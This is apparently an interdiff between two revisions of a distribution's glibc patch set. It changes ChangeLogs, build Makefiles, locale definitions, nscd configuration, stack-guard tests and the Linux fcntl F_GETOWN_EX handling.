@@ -136,8 +159,8 @@
  2004-08-30  Roland McGrath  <roland at frob.com>
  
  	* scripts/extract-abilist.awk: If `lastversion' variable defined, omit
---- glibc-2.10-357-ga0902db/ChangeLog.16
-+++ glibc-2.10.90-26/ChangeLog.16
+--- glibc-2.10-405-g3a83202/ChangeLog.16
++++ glibc-2.10.90-27/ChangeLog.16
 @@ -2042,6 +2042,9 @@
  	(__MATHDECL_2): Use __REDIRECT_NTH instead of __REDIRECT
  	followed by __THROW.
@@ -191,8 +214,8 @@
  2005-07-28  Thomas Schwinge  <schwinge at nic-nac-project.de>
  
  	[BZ #1137]
---- glibc-2.10-357-ga0902db/Makeconfig
-+++ glibc-2.10.90-26/Makeconfig
+--- glibc-2.10-405-g3a83202/Makeconfig
++++ glibc-2.10.90-27/Makeconfig
 @@ -780,12 +780,12 @@ endif
  # The assembler can generate debug information too.
  ifndef ASFLAGS
@@ -209,8 +232,8 @@
  
  ifndef BUILD_CC
  BUILD_CC = $(CC)
---- glibc-2.10-357-ga0902db/csu/Makefile
-+++ glibc-2.10.90-26/csu/Makefile
+--- glibc-2.10-405-g3a83202/csu/Makefile
++++ glibc-2.10.90-27/csu/Makefile
 @@ -93,7 +93,8 @@ omit-deps += $(crtstuff)
  $(crtstuff:%=$(objpfx)%.o): %.o: %.S $(objpfx)defs.h
  	$(compile.S) -g0 $(ASFLAGS-.os) -o $@
@@ -221,8 +244,8 @@
  
  vpath initfini.c $(sysdirs)
  
---- glibc-2.10-357-ga0902db/csu/elf-init.c
-+++ glibc-2.10.90-26/csu/elf-init.c
+--- glibc-2.10-405-g3a83202/csu/elf-init.c
++++ glibc-2.10.90-27/csu/elf-init.c
 @@ -63,6 +63,23 @@ extern void (*__init_array_end []) (int, char **, char **)
  extern void (*__fini_array_start []) (void) attribute_hidden;
  extern void (*__fini_array_end []) (void) attribute_hidden;
@@ -247,8 +270,8 @@
  
  /* These function symbols are provided for the .init/.fini section entry
     points automagically by the linker.  */
---- glibc-2.10-357-ga0902db/debug/tst-chk1.c
-+++ glibc-2.10.90-26/debug/tst-chk1.c
+--- glibc-2.10-405-g3a83202/debug/tst-chk1.c
++++ glibc-2.10.90-27/debug/tst-chk1.c
 @@ -17,6 +17,9 @@
     Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
     02111-1307 USA.  */
@@ -277,8 +300,8 @@
  #  define O 0
  # else
  #  define O 1
---- glibc-2.10-357-ga0902db/elf/ldconfig.c
-+++ glibc-2.10.90-26/elf/ldconfig.c
+--- glibc-2.10-405-g3a83202/elf/ldconfig.c
++++ glibc-2.10.90-27/elf/ldconfig.c
 @@ -1020,17 +1020,19 @@ search_dirs (void)
  
  
@@ -360,8 +383,8 @@
      }
  
    if (! opt_ignore_aux_cache)
---- glibc-2.10-357-ga0902db/elf/tst-stackguard1.c
-+++ glibc-2.10.90-26/elf/tst-stackguard1.c
+--- glibc-2.10-405-g3a83202/elf/tst-stackguard1.c
++++ glibc-2.10.90-27/elf/tst-stackguard1.c
 @@ -160,17 +160,21 @@ do_test (void)
       the 16 runs, something is very wrong.  */
    int ndifferences = 0;
@@ -386,16 +409,16 @@
      {
        puts ("stack guard canaries are not randomized enough");
        puts ("nor equal to the default canary value");
---- glibc-2.10-357-ga0902db/include/bits/stdlib-ldbl.h
-+++ glibc-2.10.90-26/include/bits/stdlib-ldbl.h
+--- glibc-2.10-405-g3a83202/include/bits/stdlib-ldbl.h
++++ glibc-2.10.90-27/include/bits/stdlib-ldbl.h
 @@ -0,0 +1 @@
 +#include <stdlib/bits/stdlib-ldbl.h>
---- glibc-2.10-357-ga0902db/include/bits/wchar-ldbl.h
-+++ glibc-2.10.90-26/include/bits/wchar-ldbl.h
+--- glibc-2.10-405-g3a83202/include/bits/wchar-ldbl.h
++++ glibc-2.10.90-27/include/bits/wchar-ldbl.h
 @@ -0,0 +1 @@
 +#include <wcsmbs/bits/wchar-ldbl.h>
---- glibc-2.10-357-ga0902db/include/features.h
-+++ glibc-2.10.90-26/include/features.h
+--- glibc-2.10-405-g3a83202/include/features.h
++++ glibc-2.10.90-27/include/features.h
 @@ -299,8 +299,13 @@
  #endif
  
@@ -412,8 +435,8 @@
  #  define __USE_FORTIFY_LEVEL 2
  # else
  #  define __USE_FORTIFY_LEVEL 1
---- glibc-2.10-357-ga0902db/intl/locale.alias
-+++ glibc-2.10.90-26/intl/locale.alias
+--- glibc-2.10-405-g3a83202/intl/locale.alias
++++ glibc-2.10.90-27/intl/locale.alias
 @@ -57,8 +57,6 @@ korean		ko_KR.eucKR
  korean.euc 	ko_KR.eucKR
  ko_KR		ko_KR.eucKR
@@ -423,8 +446,8 @@
  norwegian       nb_NO.ISO-8859-1
  nynorsk		nn_NO.ISO-8859-1
  polish          pl_PL.ISO-8859-2
---- glibc-2.10-357-ga0902db/libio/stdio.h
-+++ glibc-2.10.90-26/libio/stdio.h
+--- glibc-2.10-405-g3a83202/libio/stdio.h
++++ glibc-2.10.90-27/libio/stdio.h
 @@ -145,10 +145,12 @@ typedef _G_fpos64_t fpos64_t;
  extern struct _IO_FILE *stdin;		/* Standard input stream.  */
  extern struct _IO_FILE *stdout;		/* Standard output stream.  */
@@ -438,8 +461,8 @@
  
  __BEGIN_NAMESPACE_STD
  /* Remove file FILENAME.  */
---- glibc-2.10-357-ga0902db/locale/iso-4217.def
-+++ glibc-2.10.90-26/locale/iso-4217.def
+--- glibc-2.10-405-g3a83202/locale/iso-4217.def
++++ glibc-2.10.90-27/locale/iso-4217.def
 @@ -8,6 +8,7 @@
   *
   * !!! The list has to be sorted !!!
@@ -531,8 +554,8 @@
  DEFINE_INT_CURR("PYG")		/* Paraguay Guarani  */
  DEFINE_INT_CURR("QAR")		/* Qatar Rial  */
  DEFINE_INT_CURR("ROL")		/* Romanian Leu  */
---- glibc-2.10-357-ga0902db/locale/programs/locarchive.c
-+++ glibc-2.10.90-26/locale/programs/locarchive.c
+--- glibc-2.10-405-g3a83202/locale/programs/locarchive.c
++++ glibc-2.10.90-27/locale/programs/locarchive.c
 @@ -241,9 +241,9 @@ oldlocrecentcmp (const void *a, const void *b)
  /* forward decls for below */
  static uint32_t add_locale (struct locarhandle *ah, const char *name,
@@ -564,8 +587,8 @@
  add_alias (struct locarhandle *ah, const char *alias, bool replace,
  	   const char *oldname, uint32_t *locrec_offset_p)
  {
---- glibc-2.10-357-ga0902db/localedata/Makefile
-+++ glibc-2.10.90-26/localedata/Makefile
+--- glibc-2.10-405-g3a83202/localedata/Makefile
++++ glibc-2.10.90-27/localedata/Makefile
 @@ -225,6 +225,7 @@ $(INSTALL-SUPPORTED-LOCALES): install-locales-dir
  	echo -n '...'; \
  	input=`echo $$locale | sed 's/\([^.]*\)[^@]*\(.*\)/\1\2/'`; \
@@ -574,8 +597,8 @@
  		     -i locales/$$input -c -f charmaps/$$charset \
  		     $(addprefix --prefix=,$(install_root)) $$locale; \
  	echo ' done'; \
---- glibc-2.10-357-ga0902db/localedata/SUPPORTED
-+++ glibc-2.10.90-26/localedata/SUPPORTED
+--- glibc-2.10-405-g3a83202/localedata/SUPPORTED
++++ glibc-2.10.90-27/localedata/SUPPORTED
 @@ -84,6 +84,7 @@ cy_GB.UTF-8/UTF-8 \
  cy_GB/ISO-8859-14 \
  da_DK.UTF-8/UTF-8 \
@@ -609,7 +632,7 @@
  nr_ZA/UTF-8 \
  nso_ZA/UTF-8 \
  oc_FR.UTF-8/UTF-8 \
-@@ -362,6 +367,7 @@ sv_FI/ISO-8859-1 \
+@@ -363,6 +368,7 @@ sv_FI/ISO-8859-1 \
  sv_FI at euro/ISO-8859-15 \
  sv_SE.UTF-8/UTF-8 \
  sv_SE/ISO-8859-1 \
@@ -617,8 +640,8 @@
  ta_IN/UTF-8 \
  te_IN/UTF-8 \
  tg_TJ.UTF-8/UTF-8 \
---- glibc-2.10-357-ga0902db/localedata/locales/cy_GB
-+++ glibc-2.10.90-26/localedata/locales/cy_GB
+--- glibc-2.10-405-g3a83202/localedata/locales/cy_GB
++++ glibc-2.10.90-27/localedata/locales/cy_GB
 @@ -248,8 +248,11 @@ mon         "<U0049><U006F><U006E><U0061><U0077><U0072>";/
  d_t_fmt     "<U0044><U0079><U0064><U0064><U0020><U0025><U0041><U0020><U0025><U0064><U0020><U006d><U0069><U0073><U0020><U0025><U0042><U0020><U0025><U0059><U0020><U0025><U0054><U0020><U0025><U005A>"
  d_fmt       "<U0025><U0064><U002E><U0025><U006D><U002E><U0025><U0079>"
@@ -633,8 +656,8 @@
  END LC_TIME
  
  LC_MESSAGES
---- glibc-2.10-357-ga0902db/localedata/locales/en_GB
-+++ glibc-2.10.90-26/localedata/locales/en_GB
+--- glibc-2.10-405-g3a83202/localedata/locales/en_GB
++++ glibc-2.10.90-27/localedata/locales/en_GB
 @@ -116,8 +116,8 @@ mon         "<U004A><U0061><U006E><U0075><U0061><U0072><U0079>";/
  d_t_fmt     "<U0025><U0061><U0020><U0025><U0064><U0020><U0025><U0062><U0020><U0025><U0059><U0020><U0025><U0054><U0020><U0025><U005A>"
  d_fmt       "<U0025><U0064><U002F><U0025><U006D><U002F><U0025><U0079>"
@@ -646,8 +669,8 @@
  date_fmt	"<U0025><U0061><U0020><U0025><U0062><U0020><U0025><U0065>/
  <U0020><U0025><U0048><U003A><U0025><U004D><U003A><U0025><U0053><U0020>/
  <U0025><U005A><U0020><U0025><U0059>"
---- glibc-2.10-357-ga0902db/localedata/locales/no_NO
-+++ glibc-2.10.90-26/localedata/locales/no_NO
+--- glibc-2.10-405-g3a83202/localedata/locales/no_NO
++++ glibc-2.10.90-27/localedata/locales/no_NO
 @@ -0,0 +1,69 @@
 +escape_char	/
 +comment_char    %
@@ -718,8 +741,8 @@
 +LC_ADDRESS
 +copy "nb_NO"
 +END LC_ADDRESS
---- glibc-2.10-357-ga0902db/localedata/locales/zh_TW
-+++ glibc-2.10.90-26/localedata/locales/zh_TW
+--- glibc-2.10-405-g3a83202/localedata/locales/zh_TW
++++ glibc-2.10.90-27/localedata/locales/zh_TW
 @@ -1,7 +1,7 @@
  comment_char %
  escape_char /
@@ -747,8 +770,8 @@
  revision   "0.2"
  date       "2000-08-02"
  %
---- glibc-2.10-357-ga0902db/malloc/mcheck.c
-+++ glibc-2.10.90-26/malloc/mcheck.c
+--- glibc-2.10-405-g3a83202/malloc/mcheck.c
++++ glibc-2.10.90-27/malloc/mcheck.c
 @@ -24,9 +24,25 @@
  # include <mcheck.h>
  # include <stdint.h>
@@ -824,8 +847,8 @@
  
        old_free_hook = __free_hook;
        __free_hook = freehook;
---- glibc-2.10-357-ga0902db/manual/libc.texinfo
-+++ glibc-2.10.90-26/manual/libc.texinfo
+--- glibc-2.10-405-g3a83202/manual/libc.texinfo
++++ glibc-2.10.90-27/manual/libc.texinfo
 @@ -5,7 +5,7 @@
  @c setchapternewpage odd
  
@@ -835,8 +858,8 @@
  @direntry
  * Libc: (libc).                 C library.
  @end direntry
---- glibc-2.10-357-ga0902db/misc/sys/cdefs.h
-+++ glibc-2.10.90-26/misc/sys/cdefs.h
+--- glibc-2.10-405-g3a83202/misc/sys/cdefs.h
++++ glibc-2.10.90-27/misc/sys/cdefs.h
 @@ -132,7 +132,10 @@
  #define __bos(ptr) __builtin_object_size (ptr, __USE_FORTIFY_LEVEL > 1)
  #define __bos0(ptr) __builtin_object_size (ptr, 0)
@@ -880,17 +903,17 @@
  # define __va_arg_pack() __builtin_va_arg_pack ()
  # define __va_arg_pack_len() __builtin_va_arg_pack_len ()
  #endif
---- glibc-2.10-357-ga0902db/nis/nss
-+++ glibc-2.10.90-26/nis/nss
+--- glibc-2.10-405-g3a83202/nis/nss
++++ glibc-2.10.90-27/nis/nss
 @@ -25,4 +25,4 @@
  #  memory with every getXXent() call.  Otherwise each getXXent() call
  #  might result into a network communication with the server to get
  #  the next entry.
 -#SETENT_BATCH_READ=TRUE
 +SETENT_BATCH_READ=TRUE
---- glibc-2.10-357-ga0902db/nptl/ChangeLog
-+++ glibc-2.10.90-26/nptl/ChangeLog
-@@ -3717,6 +3717,15 @@
+--- glibc-2.10-405-g3a83202/nptl/ChangeLog
++++ glibc-2.10.90-27/nptl/ChangeLog
+@@ -3725,6 +3725,15 @@
  	Use __sigfillset.  Document that sigfillset does the right thing wrt
  	to SIGSETXID.
  
@@ -906,7 +929,7 @@
  2005-07-11  Jakub Jelinek  <jakub at redhat.com>
  
  	[BZ #1102]
-@@ -4453,6 +4462,11 @@
+@@ -4461,6 +4470,11 @@
  	Move definition inside libpthread, libc, librt check.  Provide
  	definition for rtld.
  
@@ -918,7 +941,7 @@
  2004-09-02  Ulrich Drepper  <drepper at redhat.com>
  
  	* sysdeps/alpha/jmpbuf-unwind.h: Define __libc_unwind_longjmp.
-@@ -6527,6 +6541,11 @@
+@@ -6535,6 +6549,11 @@
  
  	* Makefile [$(build-shared) = yes] (tests): Depend on $(test-modules).
  
@@ -930,8 +953,8 @@
  2003-07-25  Jakub Jelinek  <jakub at redhat.com>
  
  	* tst-cancel17.c (do_test): Check if aio_cancel failed.
---- glibc-2.10-357-ga0902db/nptl/Makefile
-+++ glibc-2.10.90-26/nptl/Makefile
+--- glibc-2.10-405-g3a83202/nptl/Makefile
++++ glibc-2.10.90-27/nptl/Makefile
 @@ -339,7 +339,8 @@ endif
  extra-objs += $(crti-objs) $(crtn-objs)
  omit-deps += crti crtn
@@ -964,8 +987,8 @@
  else
  $(addprefix $(objpfx),$(tests) $(test-srcs)): $(objpfx)libpthread.a
  endif
---- glibc-2.10-357-ga0902db/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
-+++ glibc-2.10.90-26/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
+--- glibc-2.10-405-g3a83202/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
++++ glibc-2.10.90-27/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
 @@ -189,4 +189,7 @@
  /* Typed memory objects are not available.  */
  #define _POSIX_TYPED_MEMORY_OBJECTS	-1
@@ -974,8 +997,8 @@
 +#define _XOPEN_STREAMS	-1
 +
  #endif /* bits/posix_opt.h */
---- glibc-2.10-357-ga0902db/nptl/sysdeps/unix/sysv/linux/kernel-features.h
-+++ glibc-2.10.90-26/nptl/sysdeps/unix/sysv/linux/kernel-features.h
+--- glibc-2.10-405-g3a83202/nptl/sysdeps/unix/sysv/linux/kernel-features.h
++++ glibc-2.10.90-27/nptl/sysdeps/unix/sysv/linux/kernel-features.h
 @@ -0,0 +1,6 @@
 +#include_next <kernel-features.h>
 +
@@ -983,8 +1006,8 @@
 +#ifndef __ASSUME_CLONE_THREAD_FLAGS
 +# define __ASSUME_CLONE_THREAD_FLAGS	1
 +#endif
---- glibc-2.10-357-ga0902db/nptl/tst-stackguard1.c
-+++ glibc-2.10.90-26/nptl/tst-stackguard1.c
+--- glibc-2.10-405-g3a83202/nptl/tst-stackguard1.c
++++ glibc-2.10.90-27/nptl/tst-stackguard1.c
 @@ -190,17 +190,21 @@ do_test (void)
       the 16 runs, something is very wrong.  */
    int ndifferences = 0;
@@ -1009,8 +1032,8 @@
      {
        puts ("stack guard canaries are not randomized enough");
        puts ("nor equal to the default canary value");
---- glibc-2.10-357-ga0902db/nscd/nscd.conf
-+++ glibc-2.10.90-26/nscd/nscd.conf
+--- glibc-2.10-405-g3a83202/nscd/nscd.conf
++++ glibc-2.10.90-27/nscd/nscd.conf
 @@ -33,7 +33,7 @@
  #	logfile			/var/log/nscd.log
  #	threads			4
@@ -1020,8 +1043,8 @@
  #	stat-user		somebody
  	debug-level		0
  #	reload-count		5
---- glibc-2.10-357-ga0902db/nscd/nscd.init
-+++ glibc-2.10.90-26/nscd/nscd.init
+--- glibc-2.10-405-g3a83202/nscd/nscd.init
++++ glibc-2.10.90-27/nscd/nscd.init
 @@ -9,6 +9,7 @@
  #		slow naming services like NIS, NIS+, LDAP, or hesiod.
  # processname: /usr/sbin/nscd
@@ -1093,8 +1116,8 @@
  	;;
      *)
  	echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
---- glibc-2.10-357-ga0902db/posix/Makefile
-+++ glibc-2.10.90-26/posix/Makefile
+--- glibc-2.10-405-g3a83202/posix/Makefile
++++ glibc-2.10.90-27/posix/Makefile
 @@ -302,15 +302,8 @@ $(inst_libexecdir)/getconf: $(inst_bindir)/getconf \
  	  mv -f $@/$$spec.new $@/$$spec; \
  	done < $(objpfx)getconf.speclist
@@ -1115,8 +1138,8 @@
 +	  | sed -n -e '/START_OF_STRINGS/,$${/\(POSIX_V[67]\|_XBS5\)_/{s/^[^"]*"//;s/".*$$//;p}}' \
 +	  > $@.new
  	mv -f $@.new $@
---- glibc-2.10-357-ga0902db/posix/getconf.speclist.h
-+++ glibc-2.10.90-26/posix/getconf.speclist.h
+--- glibc-2.10-405-g3a83202/posix/getconf.speclist.h
++++ glibc-2.10.90-27/posix/getconf.speclist.h
 @@ -0,0 +1,39 @@
 +#include <unistd.h>
 +const char *START_OF_STRINGS =
@@ -1157,8 +1180,8 @@
 +"XBS5_LPBIG_OFFBIG"
 +#endif
 +"";
---- glibc-2.10-357-ga0902db/streams/Makefile
-+++ glibc-2.10.90-26/streams/Makefile
+--- glibc-2.10-405-g3a83202/streams/Makefile
++++ glibc-2.10.90-27/streams/Makefile
 @@ -21,7 +21,7 @@
  #
  subdir	:= streams
@@ -1168,8 +1191,8 @@
  routines	= isastream getmsg getpmsg putmsg putpmsg fattach fdetach
  
  include ../Rules
---- glibc-2.10-357-ga0902db/sysdeps/generic/dl-cache.h
-+++ glibc-2.10.90-26/sysdeps/generic/dl-cache.h
+--- glibc-2.10-405-g3a83202/sysdeps/generic/dl-cache.h
++++ glibc-2.10.90-27/sysdeps/generic/dl-cache.h
 @@ -36,6 +36,14 @@
  # define add_system_dir(dir) add_dir (dir)
  #endif
@@ -1185,8 +1208,8 @@
  #define CACHEMAGIC "ld.so-1.7.0"
  
  /* libc5 and glibc 2.0/2.1 use the same format.  For glibc 2.2 another
---- glibc-2.10-357-ga0902db/sysdeps/i386/Makefile
-+++ glibc-2.10.90-26/sysdeps/i386/Makefile
+--- glibc-2.10-405-g3a83202/sysdeps/i386/Makefile
++++ glibc-2.10.90-27/sysdeps/i386/Makefile
 @@ -2,6 +2,8 @@
  # Every i386 port in use uses gas syntax (I think).
  asm-CPPFLAGS += -DGAS_SYNTAX
@@ -1211,8 +1234,8 @@
  endif
  
  ifeq ($(subdir),elf)
---- glibc-2.10-357-ga0902db/sysdeps/ia64/Makefile
-+++ glibc-2.10.90-26/sysdeps/ia64/Makefile
+--- glibc-2.10-405-g3a83202/sysdeps/ia64/Makefile
++++ glibc-2.10.90-27/sysdeps/ia64/Makefile
 @@ -12,8 +12,8 @@ elide-routines.os += hp-timing
  
  ifeq (yes,$(build-shared))
@@ -1224,8 +1247,8 @@
  endif
  endif
  
---- glibc-2.10-357-ga0902db/sysdeps/ia64/ia64libgcc.S
-+++ glibc-2.10.90-26/sysdeps/ia64/ia64libgcc.S
+--- glibc-2.10-405-g3a83202/sysdeps/ia64/ia64libgcc.S
++++ glibc-2.10.90-27/sysdeps/ia64/ia64libgcc.S
 @@ -1,350 +0,0 @@
 -/* From the Intel IA-64 Optimization Guide, choose the minimum latency
 -   alternative.  */
@@ -1577,8 +1600,8 @@
 -	.symver	___multi3, __multi3 at GLIBC_2.2
 -
 -#endif
---- glibc-2.10-357-ga0902db/sysdeps/ia64/libgcc-compat.c
-+++ glibc-2.10.90-26/sysdeps/ia64/libgcc-compat.c
+--- glibc-2.10-405-g3a83202/sysdeps/ia64/libgcc-compat.c
++++ glibc-2.10.90-27/sysdeps/ia64/libgcc-compat.c
 @@ -0,0 +1,84 @@
 +/* pre-.hidden libgcc compatibility
 +   Copyright (C) 2002 Free Software Foundation, Inc.
@@ -1664,8 +1687,8 @@
 +symbol_version (INTUSE (__multi3), __multi3, GLIBC_2.2);
 +
 +#endif
---- glibc-2.10-357-ga0902db/sysdeps/powerpc/powerpc64/Makefile
-+++ glibc-2.10.90-26/sysdeps/powerpc/powerpc64/Makefile
+--- glibc-2.10-405-g3a83202/sysdeps/powerpc/powerpc64/Makefile
++++ glibc-2.10.90-27/sysdeps/powerpc/powerpc64/Makefile
 @@ -30,6 +30,7 @@ ifneq ($(elf),no)
  # we use -fpic instead which is much better.
  CFLAGS-initfini.s += -fpic -O1
@@ -1674,8 +1697,8 @@
  endif
  
  ifeq ($(subdir),elf)
---- glibc-2.10-357-ga0902db/sysdeps/unix/nice.c
-+++ glibc-2.10.90-26/sysdeps/unix/nice.c
+--- glibc-2.10-405-g3a83202/sysdeps/unix/nice.c
++++ glibc-2.10.90-27/sysdeps/unix/nice.c
 @@ -42,7 +42,12 @@ nice (int incr)
  	__set_errno (save);
      }
@@ -1690,8 +1713,8 @@
    if (result == -1)
      {
        if (errno == EACCES)
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/check_pf.c
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/check_pf.c
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/check_pf.c
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/check_pf.c
 @@ -27,13 +27,10 @@
  #include <unistd.h>
  #include <sys/socket.h>
@@ -1707,8 +1730,8 @@
  
  #ifndef IFA_F_HOMEADDRESS
  # define IFA_F_HOMEADDRESS 0
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/dl-osinfo.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/dl-osinfo.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/dl-osinfo.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/dl-osinfo.h
 @@ -17,10 +17,13 @@
     Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
     02111-1307 USA.  */
@@ -1756,8 +1779,80 @@
      }
    else
  #endif
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/futimesat.c
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/futimesat.c
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/fcntl.c
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/fcntl.c
+@@ -1,4 +1,4 @@
+-/* Copyright (C) 2000, 2002, 2003, 2004, 2009 Free Software Foundation, Inc.
++/* Copyright (C) 2000, 2002, 2003, 2004 Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
+    The GNU C Library is free software; you can redistribute it and/or
+@@ -23,40 +23,6 @@
+ #include <stdarg.h>
+ 
+ #include <sys/syscall.h>
+-#include <kernel-features.h>
+-
+-
+-#ifdef __ASSUME_F_GETOWN_EX
+-# define miss_F_GETOWN_EX 0
+-#else
+-static int miss_F_GETOWN_EX;
+-#endif
+-
+-
+-static int
+-do_fcntl (int fd, int cmd, void *arg)
+-{
+-  if (cmd != F_GETOWN || miss_F_GETOWN_EX)
+-    return INLINE_SYSCALL (fcntl, 3, fd, cmd, arg);
+-
+-  INTERNAL_SYSCALL_DECL (err);
+-  struct f_owner_ex fex;
+-  int res = INTERNAL_SYSCALL (fcntl, err, 3, fd, F_GETOWN_EX, &fex);
+-  if (!INTERNAL_SYSCALL_ERROR_P (res, err))
+-    return fex.type == F_OWNER_GID ? -fex.pid : fex.pid;
+-
+-#ifndef __ASSUME_F_GETOWN_EX
+-  if (INTERNAL_SYSCALL_ERRNO (res, err) == EINVAL)
+-    {
+-      res = INLINE_SYSCALL (fcntl, 3, fd, F_GETOWN, arg);
+-      miss_F_GETOWN_EX = 1;
+-      return res;
+-    }
+-#endif
+-
+-  __set_errno (INTERNAL_SYSCALL_ERRNO (res, err));
+-  return -1;
+-}
+ 
+ 
+ #ifndef NO_CANCELLATION
+@@ -70,7 +36,7 @@ __fcntl_nocancel (int fd, int cmd, ...)
+   arg = va_arg (ap, void *);
+   va_end (ap);
+ 
+-  return do_fcntl (fd, cmd, arg);
++  return INLINE_SYSCALL (fcntl, 3, fd, cmd, arg);
+ }
+ #endif
+ 
+@@ -86,11 +52,11 @@ __libc_fcntl (int fd, int cmd, ...)
+   va_end (ap);
+ 
+   if (SINGLE_THREAD_P || cmd != F_SETLKW)
+-    return do_fcntl (fd, cmd, arg);
++    return INLINE_SYSCALL (fcntl, 3, fd, cmd, arg);
+ 
+   int oldtype = LIBC_CANCEL_ASYNC ();
+ 
+-  int result = do_fcntl (fd, cmd, arg);
++  int result = INLINE_SYSCALL (fcntl, 3, fd, cmd, arg);
+ 
+   LIBC_CANCEL_RESET (oldtype);
+ 
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/futimesat.c
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/futimesat.c
 @@ -37,14 +37,14 @@ futimesat (fd, file, tvp)
  {
    int result;
@@ -1799,9 +1894,16 @@
 +  if (fd != AT_FDCWD && file[0] != '/')
      {
        size_t filelen = strlen (file);
-       static const char procfd[] = "/proc/self/fd/%d/%s";
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
+       if (__builtin_expect (filelen == 0, 0))
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/i386/bits/fcntl.h
+@@ -1,5 +1,5 @@
+ /* O_*, F_*, FD_* bit values for Linux.
+-   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2004, 2006, 2007, 2009
++   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2004, 2006, 2007
+    Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
 @@ -85,15 +85,13 @@
  #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
  
@@ -1820,8 +1922,32 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/i386/clone.S
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/i386/clone.S
+@@ -168,23 +166,6 @@ struct flock64
+   };
+ #endif
+ 
+-#ifdef __USE_GNU
+-/* Owner types.  */
+-enum __pid_type
+-  {
+-    F_OWNER_TID = 0,	/* Kernel thread.  */
+-    F_OWNER_PID,	/* Process.  */
+-    F_OWNER_GID		/* Process group.  */
+-  };
+-
+-/* Structure to use with F_GETOWN_EX and F_SETOWN_EX.  */
+-struct f_owner_ex
+-  {
+-    enum __pid_type type;	/* Owner type of ID.  */
+-    __pid_t pid;		/* ID of owner.  */
+-  };
+-#endif
+-
+ /* Define some more compatibility macros to be backward compatible with
+    BSD systems which did not managed to hide these kernel macros.  */
+ #ifdef	__USE_BSD
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/i386/clone.S
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/i386/clone.S
 @@ -120,9 +120,6 @@ L(pseudo_end):
  	ret
  
@@ -1840,8 +1966,8 @@
  
  	cfi_startproc
  PSEUDO_END (BP_SYM (__clone))
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/i386/dl-cache.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/i386/dl-cache.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/i386/dl-cache.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/i386/dl-cache.h
 @@ -0,0 +1,59 @@
 +/* Support for reading /etc/ld.so.cache files written by Linux ldconfig.
 +   Copyright (C) 2004 Free Software Foundation, Inc.
@@ -1902,8 +2028,64 @@
 +  } while (0)
 +
 +#include_next <dl-cache.h>
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/i386/fcntl.c
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/i386/fcntl.c
+@@ -1,4 +1,4 @@
+-/* Copyright (C) 2000,2002,2003,2004,2006,2009 Free Software Foundation, Inc.
++/* Copyright (C) 2000,2002,2003,2004,2006 Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
+    The GNU C Library is free software; you can redistribute it and/or
+@@ -30,13 +30,6 @@
+ int __have_no_fcntl64;
+ #endif
+ 
+-#ifdef __ASSUME_F_GETOWN_EX
+-# define miss_F_GETOWN_EX 0
+-#else
+-static int miss_F_GETOWN_EX;
+-#endif
+-
+-
+ #if defined NO_CANCELLATION && __ASSUME_FCNTL64 == 0
+ # define __fcntl_nocancel  __libc_fcntl
+ #endif
+@@ -126,26 +119,6 @@ __fcntl_nocancel (int fd, int cmd, ...)
+ 	assert (F_SETLK - F_SETLKW == F_SETLK64 - F_SETLKW64);
+ 	return INLINE_SYSCALL (fcntl, 3, fd, cmd + F_SETLK - F_SETLK64, &fl);
+       }
+-    case F_GETOWN:
+-      if (! miss_F_GETOWN_EX)
+-	{
+-	  INTERNAL_SYSCALL_DECL (err);
+-	  struct f_owner_ex fex;
+-	  int res = INTERNAL_SYSCALL (fcntl, err, 3, fd, F_GETOWN_EX, &fex);
+-	  if (!INTERNAL_SYSCALL_ERROR_P (res, err))
+-	    return fex.type == F_OWNER_GID ? -fex.pid : fex.pid;
+-
+-#ifndef __ASSUME_F_GETOWN_EX
+-	  if (INTERNAL_SYSCALL_ERRNO (res, err) == EINVAL)
+-	    miss_F_GETOWN_EX = 1;
+-	  else
+-#endif
+-	    {
+-	      __set_errno (INTERNAL_SYSCALL_ERRNO (res, err));
+-	      return -1;
+-	    }
+-	}
+-      /* FALLTHROUGH */
+     default:
